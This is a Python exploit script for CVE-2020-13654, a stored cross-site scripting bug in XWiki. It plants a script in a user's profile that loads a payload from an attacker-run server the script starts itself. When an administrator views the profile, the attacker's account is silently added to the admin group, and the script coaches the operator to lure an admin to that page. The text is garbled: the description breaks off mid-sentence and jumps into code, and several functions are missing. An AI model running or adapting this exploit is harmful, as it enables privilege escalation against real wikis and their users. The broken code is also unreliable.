#!/usr/bin/env python3 """ CVE-2020-13654 — XWiki Platform < 12.8 — Stored XSS → CSRF → Privilege Escalation (Admin) Author : Astaruf (https://nstsec.com) CVE : CVE-2020-13654 CVSS : 7.5 (High) CWE : CWE-116 (Improper Encoding or Escaping of Output) Description: XWiki Platform before version 12.8 fails to HTML-encode user-controlled fields (e.g. "Company") in the user profile editor. An authenticated low-privilege user can store arbitrary JavaScript that executes in the browser of any visitor, including administrators, who views the profile. This PoC exploits that primitive to perform an automatic privilege escalation: when an administrator views the poisoned profile, the stored JS payload silently adds the attacker's account to the XWikiAdminGroup, granting full admin rights without any further interaction. Attack flow: 1. Attacker registers / logs in (low-privilege account) 2. Payload is injected into the "Company" profile field (raw ' data["XWiki.XWikiUsers_0_company"] = xss_tag data["action_save"] = "1" save_url = f"{self.target}/bin/save/XWiki/{self.username}" r = self.session.post(save_url, data=data, allow_redirects=True) if r.status_code in (200, 302): logger.info(f"✅ Payload stored: {xss_tag}") return True logger.error(f"Save returned HTTP {r.status_code}") return False # ── Step 4: Verify ────────────────────────────────────────────────────── def verify(self) -> bool: logger.info(f"[4/4] Verifying stored payload ...") r = self.session.get(f"{self.target}/bin/view/XWiki/{self.username}") if "payload.js" in r.text: logger.info("✅ Payload confirmed in page source.") return True logger.error("Payload NOT found in page source — injection may have failed.") return False # ── Internal flag (set by main) ────────────────────────────────────────── _registering = False # ── Entry point ─────────────────────────────────────────────────────────────── def parse_args(): p = argparse.ArgumentParser( description="CVE-2020-13654 — XWiki < 12.8 Stored XSS → Privilege Escalation", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=__doc__, ) p.add_argument("--target", required=True, help="XWiki base URL (e.g. http://192.168.1.10:8080)") p.add_argument("--username", required=True, help="Attacker account username") p.add_argument("--password", required=True, help="Attacker account password") p.add_argument("--catcher", required=True, help="Attacker-controlled URL (e.g. http://192.168.1.10:9000)") p.add_argument("--register", action="store_true", help="Auto-register the attacker account before exploiting") p.add_argument("--first-name", dest="first_name", help="First name (required with --register)") p.add_argument("--last-name", dest="last_name", help="Last name (required with --register)") p.add_argument("--email", help="Email (required with --register)") return p.parse_args() def main(): args = parse_args() if args.register and not all([args.first_name, args.last_name, args.email]): print("error: --register requires --first-name, --last-name, --email") sys.exit(1) print(BANNER) # Start the exploit server (serves payload.js + collects beacons) try: port = int(urlparse(args.catcher).port or 80) except Exception: print("error: could not parse port from --catcher URL") sys.exit(1) t = threading.Thread(target=start_exploit_server, args=(port,), daemon=True) t.start() time.sleep(0.3) exploit = XWikiExploit(args.target, args.username, args.password, args.catcher) # Optional: register if args.register: exploit._registering = True if not exploit.register(args.first_name, args.last_name, args.email): sys.exit(1) # Login → inject → verify for step in (exploit.login, exploit.inject, exploit.verify): if not step(): sys.exit(1) # All steps succeeded — keep the server alive waiting for the admin victim victim_url = f"{args.target}/bin/view/XWiki/{args.username}" print(f"\n{'═'*60}") print(" EXPLOIT ARMED — WAITING FOR VICTIM") print(f"\n Share this URL with (or wait for) an administrator to visit:") print(f" >>> {victim_url}") print(f"\n When triggered, the attacker account '{args.username}'") print(f" will be silently added to XWikiAdminGroup.") print(f"\n Logs: {LOG_FILE} | Ctrl+C to stop") print(f"{'═'*60}\n") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Stopping exploit server.") if __name__ == "__main__": main()